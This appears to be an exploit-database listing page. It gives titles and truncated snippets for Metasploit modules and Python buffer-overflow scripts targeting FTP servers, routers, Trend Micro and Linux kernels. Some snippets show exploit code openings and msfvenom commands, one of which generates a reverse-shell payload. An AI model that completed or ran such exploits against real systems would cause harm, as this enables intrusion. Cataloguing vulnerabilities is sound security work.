Trend Micro Smart Protection Server Exec Remote Code Injection Exploit

This Metasploit module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection. Please note: authentication is required to exploit this vulnerability. This module requires Metasploit:...

WinaXe 7.7 FTP Client Remote Buffer Overflow Exploit

This Metasploit module exploits a buffer overflow in the WinaXe 7.7 FTP client. This issue is triggered when a client connects to the server and is expecting the Server Ready response. This module requires Metasploit: http://metasploit.com/download Current source:...

WinaXe 7.7 FTP Client - Remote Buffer Overflow (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'WinaXe 7.7 FTP Client Remote Buffer Overflow', 'Description' = %q This module exploits a buffer overflow in the WinaXe 7.7 FTP client. This issue ...

Disk Pulse Enterprise 9.0.34 Login Buffer Overflow Exploit

This Metasploit module exploits a stack buffer overflow in Disk Pulse Enterprise 9.0.34. If a malicious user sends a malicious HTTP login request, it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account. Due to size constraints, this module uses the...

Disk Pulse Enterprise 9.0.34 - 'Login' Remote Buffer Overflow (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'Disk Pulse Enterprise Login Buffer Overflow', 'Description' = %q This module exploits a stack buffer overflow in Disk Pulse...

Linux Kernel 4.4 (Ubuntu 16.04) - BPF Local Privilege Escalation (Metasploit)

Linux kernel versions 4.4 and above where CONFIGBPFSYSCALL and kernel.unprivilegedbpfdisabled sysctl is not set to 1 allow for BPF to be abused for privilege escalation. Ubuntu 16.04 has all of these conditions met. This module requires Metasploit: http://metasploit.com/download Current source:...

Linux BPF Local Privilege Escalation

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'Linux BPF Local Privilege Escalation', 'Description' = %q Linux kernel =4.4 with CONFIGBPFSYSCALL and...

Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'Linux BPF Local Privilege Escalation', 'Description' = %q Linux kernel =4.4 with CONFIGBPFSYSCALL and...

DLink DIR Routers HNAP Login Stack Buffer Overflow Vulnerability

A stack buffer overflow affects several D-Link routers and can be exploited by an unauthenticated attacker. The interesting thing about this vulnerability is that it affects both ARM and MIPS devices, so exploitation is slightly different for each type. A stack bof in several Dlink routers, which...

Eir D1000 Wireless Router - WAN Side Remote Command Injection (Metasploit)

Eir D1000 Wireless Router - WAN Side Remote Command Injection Metasploit =begin Exploit Title: Eir D1000 Wireless Router - WAN Side Remote Command Injection Date: 7th November 2016 Exploit Author: Kenzo Website: https://devicereversing.wordpress.com Tested on Firmware version: 2.00AADU.520150909...

Freefloat FTP Server 1.0 - SITE ZONE Remote Buffer Overflow

Freefloat FTP Server 1.0 - SITE ZONE Remote Buffer Overflow !/usr/bin/env python -- coding: utf-8 -- Exploit Title: FreeFloat FTP Server BoF SITE ZONE Command Date: 04/11/2016 Exploit Author: Luis Noriega Software Link: http://www.freefloat.com/software/freefloatftpserver.zip Version: 1.0 Tested...

PCMan FTP Server 2.0.7 - 'PORT' Remote Buffer Overflow

!/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 PORT Command BoF Exploit Author: Pablo González Date: 4/11/2016 Software: PCMan 2.0 Tested on: Windows XP Profesional SP3 Spanish x86 import socket print "Creating malicious input!" junk = '\x41'2007 ret="\xf7\x56\x3c\x7...

Freefloat FTP Server 1.0 SITE ZONE Buffer Overflow

!/usr/bin/env python -- coding: utf-8 -- Exploit Title: FreeFloat FTP Server BoF SITE ZONE Command Date: 04/11/2016 Exploit Author: Luis Noriega Software Link: http://www.freefloat.com/software/freefloatftpserver.zip Version: 1.0 Tested on: Windows XP Profesional V. 5.1 Service Pack 3 CVE : n/a...

PCMan FTP Server 2.0.7 - 'PORT' Command Buffer Overflow Exploit

Exploit for windows platform in category remote exploits !/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 PORT Command BoF Exploit Author: Pablo González Date: 4/11/2016 Software: PCMan 2.0 Tested on: Windows XP Profesional SP3 Spanish x86 import socket print "Creating...

PCMan FTP Server 2.0.7 - 'SITE CHMOD' Command Buffer Overflow Exploit

Exploit for windows platform in category remote exploits !/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 BoF SITE CHMOD Command Date: 04/11/2016 Exploit Author: Luis Noriega Tested on: Windows XP Profesional V. 5.1 Service Pack 3 CVE : n/a import socket shellcode with...

PCMan FTP Server 2.0.7 - SITE CHMOD Remote Buffer Overflow

PCMan FTP Server 2.0.7 - SITE CHMOD Remote Buffer Overflow !/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 BoF SITE CHMOD Command Date: 04/11/2016 Exploit Author: Luis Noriega Tested on: Windows XP Profesional V. 5.1 Service Pack 3 CVE : n/a import socket shellcode wi...

PCMan FTP Server 2.0.7 SITE CHMOD Buffer Overflow

!/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 BoF SITE CHMOD Command Date: 04/11/2016 Exploit Author: Luis Noriega Tested on: Windows XP Profesional V. 5.1 Service Pack 3 CVE : n/a import socket shellcode with metasploit: msfvenom -p windows/exec CMD=calc.exe...

PCMan FTP Server 2.0.7 - 'SITE CHMOD' Remote Buffer Overflow

!/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 BoF SITE CHMOD Command Date: 04/11/2016 Exploit Author: Luis Noriega Tested on: Windows XP Profesional V. 5.1 Service Pack 3 CVE : n/a import socket shellcode with metasploit: msfvenom -p windows/exec CMD=calc.exe...

PCMan FTP Server 2.0.7 - 'NLST' Remote Buffer Overflow

!/usr/bin/env python -- coding: utf-8 -- import socket Exploit Title: PCMan FTP Server 2.0 Buffer Overflow NLST command Date: 03/11/16 Exploit Author: Karri93 Version: 2.0 Tested on: Windows XP Profesional SP3 Spanish x86 CVE: N/A Shellcode Metasploit: msfvenom -p windows/shellreversetcp...

Linux Kernel (Ubuntu / Fedora / Redhat) - 'Overlayfs' Privilege Escalation Exploit

Exploit for linux platform in category local exploits This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require "msf/core" class MetasploitModule 'Overlayfs Privilege Escalation', 'Description' = %q This module attempts ...